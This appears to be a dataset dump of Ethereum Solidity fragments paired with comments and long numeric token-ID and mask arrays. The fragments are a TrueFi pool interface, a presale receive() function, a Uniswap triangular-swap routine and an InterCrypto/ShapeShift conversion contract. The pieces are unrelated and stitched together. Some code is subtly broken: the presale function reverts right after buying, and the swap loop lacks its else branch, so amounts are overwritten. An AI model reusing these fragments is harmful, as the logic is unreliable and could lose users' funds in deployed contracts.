Dependency file: contracts/truefi2/interface/ITrueFiPool2.sol pragma solidity 0.6.10; import {ERC20, IERC20} from "contracts/common/UpgradeableERC20.sol"; import {ITrueLender2Deprecated} from "contracts/truefi2/deprecated/ITrueLender2Deprecated.sol"; import {IFixedTermLoanAgency} from "contracts/truefi2/interface/IFixedTermLoanAgency.sol"; import {ILoanToken2Deprecated} from "contracts/truefi2/deprecated/ILoanToken2Deprecated.sol"; import {IDebtToken} from "contracts/truefi2/interface/IDebtToken.sol"; import {ITrueFiPoolOracle} from "contracts/truefi2/interface/ITrueFiPoolOracle.sol"; import {ISAFU} from "contracts/truefi2/interface/ISAFU.sol"; import {ILoanFactory2} from "contracts/truefi2/interface/ILoanFactory2.sol";
interface ITrueFiPool2 is IERC20 { function initialize( ERC20 _token, IFixedTermLoanAgency _ftlAgency, ISAFU safu, ILoanFactory2 _loanFactory, address __owner ) external; function singleBorrowerInitialize( ERC20 _token, IFixedTermLoanAgency _ftlAgency, ISAFU safu, ILoanFactory2 _loanFactory, address __owner, string memory borrowerName, string memory borrowerSymbol ) external; function token() external view returns (ERC20); function oracle() external view returns (ITrueFiPoolOracle); function poolValue() external view returns (uint256); function liquidRatio(uint256 afterAmountLent) external view returns (uint256); function join(uint256 amount) external; function borrow(uint256 amount) external; function repay(uint256 currencyAmount) external; function liquidateLegacyLoan(ILoanToken2Deprecated loan) external; function liquidateDebt(IDebtToken debtToken) external; function addDebt(IDebtToken debtToken, uint256 amount) external; }
2,087,348
[ 1, 7787, 585, 30, 20092, 19, 3767, 22056, 22, 19, 5831, 19, 45, 5510, 42, 77, 2864, 22, 18, 18281, 10878, 18035, 560, 374, 18, 26, 18, 2163, 31, 1930, 288, 654, 39, 3462, 16, 467, 654, 39, 3462, 97, 628, 315, 16351, 87, 19, 6054, 19, 10784, 429, 654, 39, 3462, 18, 18281, 14432, 1930, 288, 45, 5510, 48, 2345, 22, 13534, 97, 628, 315, 16351, 87, 19, 3767, 22056, 22, 19, 14089, 19, 45, 5510, 48, 2345, 22, 13534, 18, 18281, 14432, 1930, 288, 5501, 3960, 4065, 1504, 304, 2577, 2075, 97, 628, 315, 16351, 87, 19, 3767, 22056, 22, 19, 5831, 19, 5501, 3960, 4065, 1504, 304, 2577, 2075, 18, 18281, 14432, 1930, 288, 45, 1504, 304, 1345, 22, 13534, 97, 628, 315, 16351, 87, 19, 3767, 22056, 22, 19, 14089, 19, 45, 1504, 304, 1345, 22, 13534, 18, 18281, 14432, 1930, 288, 734, 73, 23602, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 5831, 467, 5510, 42, 77, 2864, 22, 353, 467, 654, 39, 3462, 288, 203, 565, 445, 4046, 12, 203, 3639, 4232, 39, 3462, 389, 2316, 16, 203, 3639, 467, 7505, 4065, 1504, 304, 2577, 2075, 389, 1222, 80, 2577, 2075, 16, 203, 3639, 4437, 6799, 57, 11029, 89, 16, 203, 3639, 467, 1504, 304, 1733, 22, 389, 383, 304, 1733, 16, 203, 3639, 1758, 1001, 8443, 203, 565, 262, 3903, 31, 203, 203, 565, 445, 2202, 38, 15318, 264, 7520, 12, 203, 3639, 4232, 39, 3462, 389, 2316, 16, 203, 3639, 467, 7505, 4065, 1504, 304, 2577, 2075, 389, 1222, 80, 2577, 2075, 16, 203, 3639, 4437, 6799, 57, 11029, 89, 16, 203, 3639, 467, 1504, 304, 1733, 22, 389, 383, 304, 1733, 16, 203, 3639, 1758, 1001, 8443, 16, 203, 3639, 533, 3778, 29759, 264, 461, 16, 203, 3639, 533, 3778, 29759, 264, 5335, 203, 565, 262, 3903, 31, 203, 203, 565, 445, 1147, 1435, 3903, 1476, 1135, 261, 654, 39, 3462, 1769, 203, 203, 565, 445, 20865, 1435, 3903, 1476, 1135, 261, 45, 5510, 42, 77, 2864, 23601, 1769, 203, 203, 565, 445, 2845, 620, 1435, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 4501, 26595, 8541, 12, 11890, 5034, 1839, 6275, 48, 319, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 1233, 12, 11890, 5034, 3844, 13, 3903, 31, 203, 203, 565, 445, 29759, 12, 11890, 5034, 3844, 13, 3903, 31, 203, 203, 565, 445, 2071, 528, 12, 11890, 5034, 5462, 6275, 13, 3903, 2 ]
./full_match/1/0x0dF87cA97Aa497a6E9E3bb18375dBd28ec96AEB1/sources/contracts/new.sol
Reverts ethers sent to this address whenever requirements are not met/
receive() external payable { if(block.timestamp >= pool.startTime && block.timestamp <= pool.endTime){ buyTokens(_msgSender()); revert("Presale is closed"); } }
2,959,694
[ 1, 426, 31537, 13750, 414, 3271, 358, 333, 1758, 17334, 8433, 854, 486, 5100, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 6798, 1435, 3903, 8843, 429, 288, 203, 3639, 309, 12, 2629, 18, 5508, 1545, 2845, 18, 1937, 950, 597, 1203, 18, 5508, 1648, 2845, 18, 409, 950, 15329, 203, 5411, 30143, 5157, 24899, 3576, 12021, 10663, 203, 5411, 15226, 2932, 12236, 5349, 353, 4375, 8863, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x8C3E85eC05F7C9A7556bcD5b62dd2f8C3293D19d/sources/contracts/UniswapTriSwapper.sol
check min amount */
function myTraingularExecute( address _token, uint _amount, uint _amountOutMin, address _to ) external payable { requireAdmin(msg.sender); address token_in = _token; if(token_in == address(0)) token_in = WETH; uint[] memory _values = getAmountsOut(token_in, _amount, _pathes); require(_amountOutMin <= _values[_values.length-1], "mte11"); if (_token == address(0)) { require(IWETH(WETH).transfer(address(_pathes[0]), _amount), "execute: transfer failed"); } for (uint i=0; i < _pathes.length; i++) { address token0 = IUniswapV2Pair(_pathes[i]).token0(); address token1 = IUniswapV2Pair(_pathes[i]).token1(); uint amount0Out = 0; uint amount1Out = 0; if(token_in == token0) { amount1Out = _values[i]; token_in = token1; amount0Out = _values[i]; token_in = token0; } address target_address = _to; if(i < (_pathes.length - 1)) { target_address = _pathes[i+1]; } IUniswapV2Pair(_pathes[i]).swap(amount0Out, amount1Out, target_address, bytes("")); } }
14,201,783
[ 1, 1893, 1131, 3844, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3399, 1609, 17830, 5289, 12, 203, 3639, 1758, 389, 2316, 16, 203, 3639, 2254, 389, 8949, 16, 203, 3639, 2254, 389, 8949, 1182, 2930, 16, 203, 3639, 1758, 389, 869, 203, 565, 262, 3903, 8843, 429, 288, 203, 3639, 2583, 4446, 12, 3576, 18, 15330, 1769, 203, 540, 203, 3639, 1758, 1147, 67, 267, 273, 389, 2316, 31, 203, 3639, 309, 12, 2316, 67, 267, 422, 1758, 12, 20, 3719, 1147, 67, 267, 273, 678, 1584, 44, 31, 203, 540, 203, 3639, 2254, 8526, 3778, 389, 2372, 273, 24418, 87, 1182, 12, 2316, 67, 267, 16, 389, 8949, 16, 389, 803, 281, 1769, 203, 3639, 2583, 24899, 8949, 1182, 2930, 1648, 389, 2372, 63, 67, 2372, 18, 2469, 17, 21, 6487, 315, 81, 736, 2499, 8863, 203, 540, 203, 3639, 309, 261, 67, 2316, 422, 1758, 12, 20, 3719, 288, 203, 5411, 2583, 12, 45, 59, 1584, 44, 12, 59, 1584, 44, 2934, 13866, 12, 2867, 24899, 803, 281, 63, 20, 65, 3631, 389, 8949, 3631, 315, 8837, 30, 7412, 2535, 8863, 203, 3639, 289, 203, 540, 203, 3639, 364, 261, 11890, 277, 33, 20, 31, 277, 411, 389, 803, 281, 18, 2469, 31, 277, 27245, 288, 203, 5411, 1758, 1147, 20, 273, 467, 984, 291, 91, 438, 58, 22, 4154, 24899, 803, 281, 63, 77, 65, 2934, 2316, 20, 5621, 203, 5411, 1758, 1147, 21, 273, 467, 984, 291, 91, 438, 58, 22, 4154, 24899, 803, 281, 63, 77, 65, 2934, 2316, 21, 5621, 203, 203, 5411, 2254, 3844, 20, 1182, 2 ]
pragma solidity ^0.4.15; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } interface OraclizeI { // address public cbAddress; function cbAddress() constant returns (address); // Reads public variable cbAddress function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasoaurce) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); function randomDS_getSessionPubKeyHash() returns(bytes32); } interface OraclizeAddrResolverI { function getAddress() returns (address _addr); } // this is a reduced and optimize version of the usingOraclize contract in https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.4.sol contract myUsingOraclize is Ownable { OraclizeAddrResolverI OAR; OraclizeI public oraclize; uint public oraclize_gaslimit = 120000; function myUsingOraclize() { oraclize_setNetwork(); update_oraclize(); } function update_oraclize() onlyOwner public { oraclize = OraclizeI(OAR.getAddress()); } function oraclize_query(string datasource, string arg1, string arg2) internal returns (bytes32 id) { uint price = oraclize.getPrice(datasource, oraclize_gaslimit); if (price > 1 ether + tx.gasprice*oraclize_gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, oraclize_gaslimit); } function oraclize_getPrice(string datasource) internal returns (uint) { return oraclize.getPrice(datasource, oraclize_gaslimit); } function setGasLimit(uint _newLimit) onlyOwner public { oraclize_gaslimit = _newLimit; } function oraclize_setNetwork() internal { if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); } else if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); } else if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); } else if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); } else if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); } else if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); } else if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); } else { revert(); } } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } return _size; } // This will not throw error on wrong input, but instead consume large and unknown amount of gas // This should never occure as it's use with the ShapeShift deposit return value is checked before calling function function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } } /** * @title InterCrypto * @dev The InterCrypto offers a no-commission service using Oraclize and ShapeShift * that allows for on-blockchain conversion from Ether to any other blockchain that ShapeShift supports. * @author Jack Tanner - <[email protected]> */ contract InterCrypto is Ownable, myUsingOraclize { // _______________VARIABLES_______________ struct Conversion { address returnAddress; uint amount; } mapping (uint => Conversion) public conversions; uint conversionCount = 0; mapping (bytes32 => uint) oraclizeMyId2conversionID; mapping (address => uint) public recoverable; // _______________EVENTS_______________ event ConversionStarted(uint indexed conversionID); event ConversionSentToShapeShift(uint indexed conversionID, address indexed returnAddress, address indexed depositAddress, uint amount); event ConversionAborted(uint indexed conversionID, string reason); event Recovered(address indexed recoveredTo, uint amount); // _______________EXTERNAL FUNCTIONS_______________ /** * Constructor. */ function InterCrypto() {} /** * Destroys the contract and returns and Ether to the owner. */ function kill() onlyOwner external { selfdestruct(owner); } /** * Fallback function to allow contract to accept Ether. */ function () payable {} /** * Sets up a ShapeShift cryptocurrency conversion using Oraclize and the ShapeShift API. Must be sent more Ether than the Oraclize price. * Returns a conversionID which can be used for tracking of the conversion. * @param _coinSymbol The coinsymbol of the other blockchain to be used by ShapeShift. See engine() function for more details. * @param _toAddress The address on the other blockchain that the converted cryptocurrency will be sent to. */ function convert1(string _coinSymbol, string _toAddress) external payable returns(uint) { return engine(_coinSymbol, _toAddress, msg.sender); } /** * Sets up a ShapeShift cryptocurrency conversion using Oraclize and the ShapeShift API. Must be sent more Ether than the Oraclize price. * Returns a conversionID which can be used for tracking of the conversion. * @param _coinSymbol The coinsymbol of the other blockchain to be used by ShapeShift. See engine() function for more details. * @param _toAddress The address on the other blockchain that the converted cryptocurrency will be sent to. * @param _returnAddress The Ethereum address that any Ether should be sent back to in the event that the ShapeShift conversion is invalid or fails */ function convert2(string _coinSymbol, string _toAddress, address _returnAddress) external payable returns(uint) { return engine(_coinSymbol, _toAddress, _returnAddress); } /** * Callback function for use exclusively by Oraclize. * @param myid The Oraclize id of the query. * @param result The result of the query. */ function __callback(bytes32 myid, string result) { if (msg.sender != oraclize.cbAddress()) revert(); uint conversionID = oraclizeMyId2conversionID[myid]; if( bytes(result).length == 0 ) { ConversionAborted(conversionID, "Oraclize return value was invalid, this is probably due to incorrect convert() argments"); recoverable[conversions[conversionID].returnAddress] += conversions[conversionID].amount; conversions[conversionID].amount = 0; } else { address depositAddress = parseAddr(result); require(depositAddress != msg.sender); // prevent DAO tpe re-entracy vulnerability that can potentially be done by Oraclize uint sendAmount = conversions[conversionID].amount; conversions[conversionID].amount = 0; if (depositAddress.send(sendAmount)) { ConversionSentToShapeShift(conversionID, conversions[conversionID].returnAddress, depositAddress, sendAmount); } else { ConversionAborted(conversionID, "deposit to address returned by Oraclize failed"); recoverable[conversions[conversionID].returnAddress] += sendAmount; } } } /** * Cancel a cryptocurrency conversion. * This should only be required to be called if Oraclize fails make a return call to __callback(). * @param conversionID The conversion ID of the cryptocurrency conversion, generated during engine(). */ function cancelConversion(uint conversionID) external { Conversion memory conversion = conversions[conversionID]; if (conversion.amount > 0) { require(msg.sender == conversion.returnAddress); recoverable[msg.sender] += conversion.amount; conversions[conversionID].amount = 0; ConversionAborted(conversionID, "conversion cancelled by creator"); } } /** * Recover any recoverable funds due to the failure of InterCrypto. Failure can occure due to: * 1. Bad user inputs to convert(). * 2. ShapeShift temporarily or permanently discontinues support of other blockchain. * 3. ShapeShift service becomes unavailable. * 4. Oraclize service become unavailable. */ function recover() external { uint amount = recoverable[msg.sender]; recoverable[msg.sender] = 0; if (msg.sender.send(amount)) { Recovered(msg.sender, amount); } else { recoverable[msg.sender] = amount; } } // _______________PUBLIC FUNCTIONS_______________ /** * Returns the price in Wei paid to Oraclize. */ function getInterCryptoPrice() constant public returns (uint) { return oraclize_getPrice('URL'); } // _______________INTERNAL FUNCTIONS_______________ /** * Sets up a ShapeShift cryptocurrency conversion using Oraclize and the ShapeShift API. Must be sent more Ether than the Oraclize price. * Returns a conversionID which can be used for tracking of the conversion. * @param _coinSymbol The coinsymbol of the other blockchain to be used by ShapeShift. See engine() function for more details. * @param _toAddress The address on the other blockchain that the converted cryptocurrency will be sent to. * Example first two arguments: * "ltc", "LbZcDdMeP96ko85H21TQii98YFF9RgZg3D" Litecoin * "btc", "1L8oRijgmkfcZDYA21b73b6DewLtyYs87s" Bitcoin * "dash", "Xoopows17idkTwNrMZuySXBwQDorsezQAx" Dash * "zec", "t1N7tf1xRxz5cBK51JADijLDWS592FPJtya" ZCash * "doge", "DMAFvwTH2upni7eTau8au6Rktgm2bUkMei" Dogecoin * Test symbol pairs using ShapeShift API (shapeshift.io/validateAddress/[address]/[coinSymbol]) or by creating a test * conversion on https://shapeshift.io first whenever possible before using it with InterCrypto. * @param _returnAddress The Ethereum address that any Ether should be sent back to in the event that the ShapeShift conversion is invalid or fails. */ function engine(string _coinSymbol, string _toAddress, address _returnAddress) internal returns(uint conversionID) { conversionID = conversionCount++; if ( !isValidString(_coinSymbol, 6) || // Waves smbol is "waves" !isValidString(_toAddress, 120) // Monero integrated addresses are 106 characters ) { ConversionAborted(conversionID, "input parameters are too long or contain invalid symbols"); recoverable[msg.sender] += msg.value; return; } uint oraclizePrice = getInterCryptoPrice(); if (msg.value > oraclizePrice) { Conversion memory conversion = Conversion(_returnAddress, msg.value-oraclizePrice); conversions[conversionID] = Conversion(_returnAddress, msg.value-oraclizePrice); string memory postData = createShapeShiftConversionPost(_coinSymbol, _toAddress); bytes32 myQueryId = oraclize_query("URL", "json(https://shapeshift.io/shift).deposit", postData); if (myQueryId == 0) { ConversionAborted(conversionID, "unexpectedly high Oraclize price when calling oraclize_query"); recoverable[msg.sender] += msg.value-oraclizePrice; conversions[conversionID].amount = 0; return; } oraclizeMyId2conversionID[myQueryId] = conversionID; ConversionStarted(conversionID); } else { ConversionAborted(conversionID, "Not enough Ether sent to cover Oraclize fee"); conversions[conversionID].amount = 0; recoverable[msg.sender] += msg.value; } } /** * Returns true if a given string contains only numbers and letters, and is below a maximum length. * @param _string String to be checked. * @param maxSize The maximum allowable sting character length. The address on the other blockchain that the converted cryptocurrency will be sent to. */ function isValidString(string _string, uint maxSize) constant internal returns (bool allowed) { bytes memory stringBytes = bytes(_string); uint lengthBytes = stringBytes.length; if (lengthBytes < 1 || lengthBytes > maxSize) { return false; } for (uint i = 0; i < lengthBytes; i++) { byte b = stringBytes[i]; if ( !( (b >= 48 && b <= 57) || // 0 - 9 (b >= 65 && b <= 90) || // A - Z (b >= 97 && b <= 122) // a - z )) { return false; } } return true; } /** * Returns a concatenation of seven bytes. * @param b1 The first bytes to be concatenated. * ... * @param b7 The last bytes to be concatenated. */ function concatBytes(bytes b1, bytes b2, bytes b3, bytes b4, bytes b5, bytes b6, bytes b7) internal returns (bytes bFinal) { bFinal = new bytes(b1.length + b2.length + b3.length + b4.length + b5.length + b6.length + b7.length); uint i = 0; uint j; for (j = 0; j < b1.length; j++) bFinal[i++] = b1[j]; for (j = 0; j < b2.length; j++) bFinal[i++] = b2[j]; for (j = 0; j < b3.length; j++) bFinal[i++] = b3[j]; for (j = 0; j < b4.length; j++) bFinal[i++] = b4[j]; for (j = 0; j < b5.length; j++) bFinal[i++] = b5[j]; for (j = 0; j < b6.length; j++) bFinal[i++] = b6[j]; for (j = 0; j < b7.length; j++) bFinal[i++] = b7[j]; } /** * Returns the ShapeShift shift API string that is needed to be sent to Oraclize. * @param _coinSymbol The coinsymbol of the other blockchain to be used by ShapeShift. See engine() function for more details. * @param _toAddress The address on the other blockchain that the converted cryptocurrency will be sent to. * Example output: * ' {"withdrawal":"LbZcDdMeP96ko85H21TQii98YFF9RgZg3D","pair":"eth_ltc","returnAddress":"558999ff2e0daefcb4fcded4c89e07fdf9ccb56c"}' * Note that an extra space ' ' is needed at the start to tell Oraclize to make a POST query */ function createShapeShiftConversionPost(string _coinSymbol, string _toAddress) internal returns (string sFinal) { string memory s1 = ' {"withdrawal":"'; string memory s3 = '","pair":"eth_'; string memory s5 = '","returnAddress":"'; string memory s7 = '"}'; bytes memory bFinal = concatBytes(bytes(s1), bytes(_toAddress), bytes(s3), bytes(_coinSymbol), bytes(s5), bytes(addressToBytes(msg.sender)), bytes(s7)); sFinal = string(bFinal); } /** * Returns the ASCII numeric or lower case character representation of a number. * Authored by from https://github.com/axic * @param nibble Nuber to be converted */ function nibbleToChar(uint nibble) internal returns (uint ret) { if (nibble > 9) return nibble + 87; // nibble + 'a'- 10 else return nibble + 48; // '0' } /** * Returns the bytes representation of a provided Ethereum address * Authored by from https://github.com/axic * @param _address Ethereum address to be cast to bytes */ function addressToBytes(address _address) internal returns (bytes) { uint160 tmp = uint160(_address); // 40 bytes of space, but actually uses 64 bytes string memory holder = " "; bytes memory ret = bytes(holder); // NOTE: this is written in an expensive way, as out-of-order array access // is not supported yet, e.g. we cannot go in reverse easily // (or maybe it is a bug: https://github.com/ethereum/solidity/issues/212) uint j = 0; for (uint i = 0; i < 20; i++) { uint _tmp = tmp / (2 ** (8*(19-i))); // shr(tmp, 8*(19-i)) uint nb1 = (_tmp / 0x10) & 0x0f; // shr(tmp, 8) & 0x0f uint nb2 = _tmp & 0x0f; ret[j++] = byte(nibbleToChar(nb1)); ret[j++] = byte(nibbleToChar(nb2)); } return ret; } // _______________PRIVATE FUNCTIONS_______________ }
_______________EVENTS_______________
event ConversionStarted(uint indexed conversionID);
12,798,050
[ 1, 12214, 7198, 31268, 29221, 12214, 7198, 31268, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
